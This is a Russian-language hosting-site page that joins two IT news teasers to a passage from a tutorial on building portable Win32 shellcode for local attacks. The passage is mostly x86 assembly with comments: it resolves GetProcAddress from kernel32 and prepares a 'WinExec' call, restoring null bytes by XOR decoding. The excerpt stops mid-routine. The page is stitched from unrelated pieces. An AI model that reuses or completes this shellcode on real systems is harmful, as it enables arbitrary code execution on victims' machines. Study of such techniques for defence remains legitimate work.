Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
lodsd ; Прочитаем
add eax,edx ; Добавим адрес kernel
В начале этого кода в edx хранится адрес kernel, а в конце в eax хранится адрес функции GetProcAddress.
Третье и четвёртое требования выполняются достаточно легко. Для этого необходимо знание о том, с какими параметрами запускаются необходимые нам WIN API-функции.
Теперь построим переносимый shell-код для локальной атаки на Win32-системы:
.386
.model flat, stdcall
extrn ExitProcess:proc
.data
start:
;---------------[SUPA SHELLCODE]--------------------------
Getproc:
mov esi,esp ; esi указывает на вершину стека
xor ecx,ecx ; обнуляем ecx
mov cl,169 ; ecx указывает на текстовую строку 'WinExec'
add esi,ecx ; И esi теперь указывет на 'WinExec'
push esi ; Кладём esi в стек
mov ebp,esi ; И ebp теперь указывает на 'WinExec'
mov edi,esi ; И edi теперь указывает на 'WinExec'
xor ecx,ecx ; Обнуляем ecx
mov cl,27 ; И кладём в cl 27
xor1: lodsb ; Загружаем в al байт
cmp al,01 ; Проверяем 1 это или нет
jne nextb ; Если нет – ищем дальше
xor al,01 ; Если 1, то обнуляем его и
nextb:
stosb ; Возвращаем на место
loop xor1 ; Таким образом, мы восстанавливаем все нужные нам нули
xor ebx,ebx ; Обнуляем ebx